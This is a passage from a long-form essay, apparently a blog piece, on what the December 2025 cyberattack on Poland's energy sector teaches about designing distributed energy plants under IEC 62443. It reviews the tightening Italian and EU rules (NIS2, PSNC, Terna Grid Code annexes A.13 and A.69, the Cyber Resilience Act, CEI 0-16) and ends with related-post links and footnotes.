The most important point is that IEC 62443 changes the topology of the attack graph. Without it, the attacker can move from remote access to perimeter device control, from perimeter control to OT reachability, from OT reachability to device management, and from device management to destructive action. With it, those transitions become explicit boundaries that must be crossed, authenticated, logged, justified, and constrained.

This is why IEC 62443 is most valuable before the plant is built. Once the system is already deployed, the owner is forced to retrofit controls around decisions that may already be structurally wrong. At design time, the same controls can be expressed as architecture: which zones exist, which conduits are allowed, which identities may cross them, which management interfaces are reachable, where evidence is stored, and how damaged devices are restored.

Structural compliance by construction

This approach also has an important secondary effect: it tends to align the plant with the direction of regulation before the regulation arrives in its most detailed and most enforceable form. I would not call that automatic compliance in a literal sense, because compliance always requires documentation, evidence, procedures, governance, and often formal role assignment. But I would call it structural compliance by construction. If the system is architected with explicit segmentation, secure remote access, asset accountability, monitoring, controlled change, and recovery engineering, then the gap between technical reality and regulatory expectation becomes much smaller.

This matters because the regulatory trajectory is no longer generic. It is becoming layered, cumulative, and increasingly specific at both system and product level. The result is that the technical decisions made during plant and interface design are progressively less separable from legal and regulatory obligations.

The national layer: NIS2 and PSNC are converging, not diverging

At the national level, the relevance to the Polish case is not abstract. The attack documented by CERT Polska is exactly the kind of event that exposes why cyber governance for energy and industrial operators can no longer be treated as a secondary compliance exercise. It combines destructive intent, compromise of remote access paths, cross domain movement between IT and OT, and operational impact below the threshold of a nationwide blackout. In Italy, that same class of risk now sits inside a regulatory environment that is becoming denser and more explicit, not looser.

The first point is that the Italian transposition of NIS2 is already in force. Decreto Legislativo 4 settembre 2024, n. 138 was published on 1 October 2024 and took effect on 16 October 2024⁵. That matters here because NIS2 is not just about generic cybersecurity maturity. It is about forcing operators of essential and important entities to treat cyber risk, incident management, supply chain exposure, and continuity as governed management obligations rather than discretionary technical choices.

The second point is that this decree does not replace or supersede the Perimetro di Sicurezza Nazionale Cibernetica. The PSNC was established earlier and remains structurally important for systems tied to national strategic interests.⁶ This is directly relevant to the logic of the article because the Polish case shows how systems that may appear operationally peripheral when considered site by site can become strategically relevant when attacked in coordination. The Italian framework is moving in the same conceptual direction: it narrows the distance between technical infrastructure and nationally significant infrastructure by treating certain digital systems, services, and interconnections as part of a higher consequence security perimeter.

The third and most important point is that NIS2 and PSNC are converging, not diverging. Article 33 of the Italian NIS2 transposition explicitly coordinates the two regimes by recognizing that, for systems already covered by the Perimetro, PSNC obligations on cyber risk management and incident notification are considered at least equivalent to the corresponding NIS2 obligations⁷. That is not a bureaucratic detail. It means that the direction of travel is toward a more integrated and less permissive model in which organizations cannot rely on fragmented interpretations of which rule really applies. From the standpoint of a plant owner, operator, or architect, the message is clear: the same architectural weaknesses highlighted by the Polish incident, especially around remote access, segmentation, trust boundaries, and recovery readiness, are increasingly becoming relevant both as technical exposures and as formal governance failures.

This is why the national layer matters so much to the argument of the article. The Polish incident is a warning that distributed energy and industrial systems can become operationally significant targets without first becoming big critical infrastructure in the traditional centralized sense. The Italian response, through NIS2 and the continuing force of PSNC, points in the same direction: cyber resilience is being treated less as an optional quality of implementation and more as an expected property of strategically relevant systems and services. ACN’s own public positioning reflects this shift by presenting the NIS framework as fully in force and by identifying the Agency as the competent authority and single point of contact for the regime⁸.

The grid code layer: what is already in force, and what is tightening further

At the energy specific layer, precision matters. The Terna Grid Code is already the governing framework for the transmission system and for the technical conditions under which plants, data acquisition systems, and defense related devices interface with Terna.⁹ But within that framework, it is important not to confuse three different things: the current requirements already in force, the new revision path now visible in Terna’s update documents, and the broader direction of tightening that emerges when those texts are read together.

What is already present in the current framework

Even in the current published version of Annex A.13, cybersecurity is not absent. The annex already contains a dedicated security chapter and already requires, among other things, protection and monitoring of communications toward Terna, logical segregation of networks and channels used for data exchange with Terna, prompt reporting of security incidents affecting the communication channel, VPN protection for acquisition systems that use intranet type communications, a VPN terminator on the owner side capable of segregating the network in which RTUs are present, security logs with synchronized timestamps, at least six months of log retention, and mutual authentication measures between the owner and Terna¹⁰.

That point is important because it means the baseline is not starting from zero. Telecontrol and telemetry connections toward Terna are already treated as security relevant interfaces, not as purely functional transport paths.

What the new A.13 update makes clearer and stricter

Where the tightening becomes visible is in the updated A.13 markup document, which shows Terna moving from a relatively compact security chapter to a broader and more explicit cybersecurity framework. The updated text introduces a dedicated Cyber Security section structured around topics such as asset inventory and third parties, cybersecurity monitoring and incident management, malware protection and traffic isolation, authentication and authorization, communications security and cryptography, packet filtering, patching, logging, and backup and restore.¹¹

The updated text also makes several obligations more explicit and more operational. It requires the plant owner to keep updated and consultable inventories of digital assets attached to the interconnection infrastructure, to maintain a 24x7 point of contact, to notify Terna of security events within four hours of detection when they may affect connected devices, communications infrastructure, Terna related information, or even supply chain events relevant to the interconnection, to ensure anti malware protection on IT, OT, IoT, and mobile devices, to isolate traffic between VPNs, to use robust credentials including examples such as MFA, to prepare for IEC 62351 secure communications, to apply security patches at least semiannually, and to implement backup and restore procedures.

So the direction of travel is clear. The newer A.13 text does not merely repeat the older security concepts. It broadens them, operationalizes them, and turns them into a more explicit lifecycle discipline for the infrastructure that connects the plant to Terna’s systems.

This is already a significant architectural message. It means that cyber requirements are not only imposed later through generic corporate policy or audit language. They are increasingly embedded into the very conditions under which telemetry and telecontrol can be connected to the transmission side. The practical implication is that the connection architecture itself must now be designed to sustain asset visibility, segmented trust boundaries, secure remote access, incident response coordination, evidence retention, and recoverability.

The same tightening logic is visible in A.69

This becomes even more relevant when one looks at Annex A.69, which governs the connection of production plants to Terna’s defense system. In its current logic, A.69 already depends on A.13, because the telecontrol and data connection criteria of A.13 form part of the technical environment within which defense related interfaces operate.

But the newer A.69 revision text shows the same direction of tightening more explicitly. The updated text contains its own Cyber Security chapter, structured around monitoring and threat detection, secure traffic isolation, authentication and authorization, traffic encryption, access controls and packet filtering, patching, and backup and restore.¹²

In addition, the revised A.69 text links cyber discipline directly to the integrated telecommunications architecture. It states that where the data connection system is integrated for A.69 purposes and also for A.7 and or A.13 purposes, continuity of telecontrol flows must be preserved throughout preparation, testing, and commissioning, and it imposes architectural consequences such as common communication technology constraints, readdressing of field devices, and the need to review the data network architecture when field devices other than RTUs and UPDM are used.

The actual direction of tightening

The most precise way to state the issue, then, is this: Terna’s current framework already contains cyber relevant obligations, but the newer A.13 and A.69 texts show a clear move toward a more explicit, more granular, and more enforceable cybersecurity model at the plant to Terna interface. The direction is not toward looser interoperability by default. It is toward tighter governance of communications, assets, authentication, logging, patching, and recovery, with increasing emphasis on the whole interconnection chain rather than on the mere existence of a data link.

The product layer: the Cyber Resilience Act and CEI 0-16 are raising the baseline

In parallel, the product security baseline is tightening as well. At EU level, the Cyber Resilience Act, Regulation (EU) 2024/2847, introduces horizontal cybersecurity requirements for products with digital elements, meaning hardware and software connected directly or indirectly to a device or network. The regulation entered into force on 10 December 2024. Its general application is staged, with the main obligations applying from 11 December 2027, while the reporting obligations for actively exploited vulnerabilities and severe incidents begin earlier, from 11 September 2026.¹³

This does not replace system architecture obligations, but it materially changes the product side expectations placed on vendors supplying connected components into energy systems. It pushes security requirements upstream, toward the design, development, lifecycle management, and incident reporting responsibilities of the product manufacturer.

The same tightening is visible in the Italian sector specific technical domain. CEI 0-16 Variant V5 explicitly requires, for the Controllore Centrale di Impianto (CCI) as a whole, conformity to IEC 62443-4-1 and IEC 62443-4-2. The text requires overall certification at Capability Security Level 1, together with additional assessment expectations for higher minimum levels on specific foundational requirements, in particular FR1, FR2, FR3, and FR7.¹⁴ This is not a generic invocation of good practice. It is a concrete sign that product and interface security expectations are being written into the technical rules of grid connected equipment.

What this means in practice

Taken together, these layers point in the same direction. NIS2, PSNC, the CRA, the Terna Grid Code, and CEI 0-16 are converging on one practical message: remote telemetry, dispatch, and control interfaces can no longer be engineered as operational conveniences and justified later. They must be designed from the outset as critical infrastructure surfaces.

This is why, for me, the lesson of the Polish case is straightforward. The right response is not to bolt more controls around the edges of an already ambiguous design. It is to design plants, substations, and remote operational ecosystems so that the most dangerous shortcuts are unavailable by default. That is what enterprise architecture is for at this level: not abstract modeling, but the deliberate shaping of trust, authority, and failure modes before those choices harden into expensive operational debt.

And this is the deeper reason I consider an architecture first, IEC 62443 informed approach to be the optimal balance between security and cost. It is cheaper to decide correctly than to retrofit under pressure. It is cheaper to standardize secure remote access than to investigate a fleet wide credential problem. It is cheaper to isolate management planes than to discover during an incident that a firewall configuration was the real crown jewel. It is cheaper to design for evidentiary logging and deterministic recovery than to rebuild dozens of sites with partial visibility after destructive actions have already occurred. In critical infrastructure, good architecture is not the opposite of cost effectiveness. It is usually the only durable form of it.

Conclusions

The December 2025 cyberattack on Poland’s energy sector should be read as more than a national incident report and more than a malware case study. It is a reference event for the next phase of energy cybersecurity. Its real importance lies in showing that coordinated cyber sabotage of distributed generation does not require spectacular novelty. It requires enough understanding of how modern plants are actually operated, enough reach into the edge devices that mediate trust and control, and enough operational discipline to turn repeated weaknesses into repeatable disruption.

That is why the case is strategically important. It shifts attention away from the old intuition that grid cyber risk is concentrated only in major control centers and transmission assets. Those remain critical, but they are no longer the whole picture. The distributed edge of the grid now matters because that is where scale, remote access, operational heterogeneity, and inconsistent security investment meet. In such an environment, systemic relevance can emerge from the synchronized compromise of many small or medium assets that would not appear decisive in isolation.

The Polish incident also sharpens a more general principle. In critical infrastructure, the most dangerous vulnerabilities are often not the most technically exotic ones. They are the ones that have been normalized into operations: shared credentials, overprivileged perimeter devices, weak separation between remote access and administration, opaque vendor pathways, incomplete logging, and recovery models that depend on assumptions of benign failure rather than hostile interference. Once those become routine, the attacker does not have to invent a new path. The path is already there, waiting to be used.

For Italy, and more broadly for European operators living through the energy transition, the lesson is immediate. The expansion of distributed energy cannot be treated as only a capacity, market, and interconnection problem. It is also a problem of cyber architecture. If the digital operating model of distributed generation is designed as a convenience layer around electrical assets, then the attack surface scales faster than resilience. If instead it is designed from the beginning as critical infrastructure, then many of the attack paths visible in Poland become harder, noisier, slower, and more recoverable.

That is the point at which the Polish case becomes constructive rather than merely alarming. It gives operators, engineers, regulators, and owners a very clear warning, but also a very clear design agenda. The objective is not abstract more security. The objective is to make sure that remote access, dispatch interfaces, telemetry paths, OT management surfaces, and restoration processes are governed as part of the plant’s essential architecture. Once that is done, compliance with tightening Italian and European requirements becomes less of a late-stage burden and more the formal expression of choices that were already technically correct.

The deepest conclusion, then, is simple. The future risk to energy systems will not be determined only by how much renewable capacity is added, but by how that capacity is digitally organized. The Polish incident shows what happens when distributed generation is operationally connected faster than it is architecturally governed. The real strategic response is to reverse that sequence.

See also longforms

Controllo e Monitoraggio della Rete: la Nuova Postura di Sicurezza degli Impianti Connessi

Gli aggiornamenti Terna agli Allegati A.13, A.69 e A.52 nel quadro europeo di resilienza cyber, NIS2, CRA e Perimetro di Sicurezza Nazionale Cibernetica

Measuring Cyber Risk in the Italian Corporate Sector

A Banca d’Italia indicator of cybersecurity vulnerability designed to support creditworthiness evaluation

Reclaiming the Namespace: EU Digital Sovereignty in the CVE Ecosystem?

Rebalancing coordination and autonomy: EU digital sovereignty, federated CVE governance, and the conditions for sustainable economic growth

Quantum-Safe HTTPS Certificates: Google’s Structural Innovation, Technical Foundations, and Governance Implications

Engineering quantum resistant web authentication through Merkle commitments, transparency logs, and scalable trust infrastructure

When Digital Trust Expires: Quantum Computing and the Collapse of Signature-Based Security

How quantum attacks turn long-lived signatures into silent integrity and impersonation risks

See also posts

When Digital Trust Gets a Deadline

The U.S. federal government’s 2030 post-quantum cryptography order and the enterprise migration from hidden cryptographic debt to managed architectural risk

When Vulnerability Databases Become Triage Systems

NIST’s NVD update, record CVE growth, and the economics of AI-scaled cyberattacks

Quantum Cryptography at the Edge of Feasibility: Resource Estimates, Architectural Divergence, and Systemic Risk

An analysis of the Google and Oratomic results on Shor’s resource estimates and their implications for the convergence of quantum circuit optimization, error correction, and hardware architectures

Quantum Computing Threats and the Advantage of Acting Now

Why trust expires before systems fail, and how early remediation becomes a strategic program rather than an emergency rewrite

Quantum Key Distribution and Post-Quantum Cryptography

Concepts, roles, and correct use

Cybersecurity in an Era with Quantum Computers: Interpreting Mosca’s Risk Inequality

Why $x$ plus $y$ greater than $z$ turns quantum readiness into a present day governance problem

Footnotes

1. See: CERT Polska report. CERT Polska is the first Polish computer emergency response team. It operates within NASK – National Research Institute, has been active since 1996, and carries out the role of CSIRT NASK, one of the three national level CSIRTs in Poland’s cybersecurity system. Its activities include incident handling, active response to threats, malware analysis, security research, threat information exchange, tool development, and public reporting on the security of Polish cyberspace. See also the official team description: About us.

2. See: DynoWiper update: Technical analysis and attribution.

3. See: DynoWiper update: Technical analysis and attribution.

4. See Dragos’s public summary of the report: Poland Power Grid Attack Targets Distributed Energy Resources.

5. The Italian transposition of NIS2 is Decreto Legislativo 4 settembre 2024, n. 138, published in Gazzetta Ufficiale on 1 October 2024 and in force from 16 October 2024. Official text: Gazzetta Ufficiale.

6. The Perimetro di Sicurezza Nazionale Cibernetica was established by Decreto-Legge 21 settembre 2019, n. 105, then converted with modifications by Legge 18 novembre 2019, n. 133. Its incident notification and security measures were further operationalized through DPCM 14 aprile 2021, n. 81, in force from 26 June 2021. See the official publication of the implementing regulation: Gazzetta Ufficiale.

7. Article 33 of Decreto Legislativo n. 138/2024 coordinates NIS2 with the PSNC framework by treating Perimetro obligations on cyber risk management and incident notification as at least equivalent for the systems already covered by that regime. Official text: Gazzetta Ufficiale.

8. ACN states that the new NIS regime has been in force since 16 October 2024 and that ACN is the competent NIS authority and single point of contact. See the official NIS portal: NIS - Network Information Security.

9. Terna publishes the Grid Code (Codice di Rete) and its annexes as the governing technical framework for the national transmission system. The official annex list includes A.13 Criteri di connessione al sistema di controllo di Terna and A.69 Criteri di connessione degli impianti di produzione al sistema di difesa di Terna. See Terna’s official Grid Code page: Codice di Rete Italiano.

10. Current published Annex A.13: Criteri di connessione al sistema di controllo di Terna.

11. PDF

12. PDF

13. The Cyber Resilience Act, Regulation (EU) 2024/2847, entered into force on 10 December 2024. The main obligations apply from 11 December 2027, while the reporting obligations under Article 14 apply earlier, from 11 September 2026. See the European Commission’s summary: Cyber Resilience Act.

14. PDF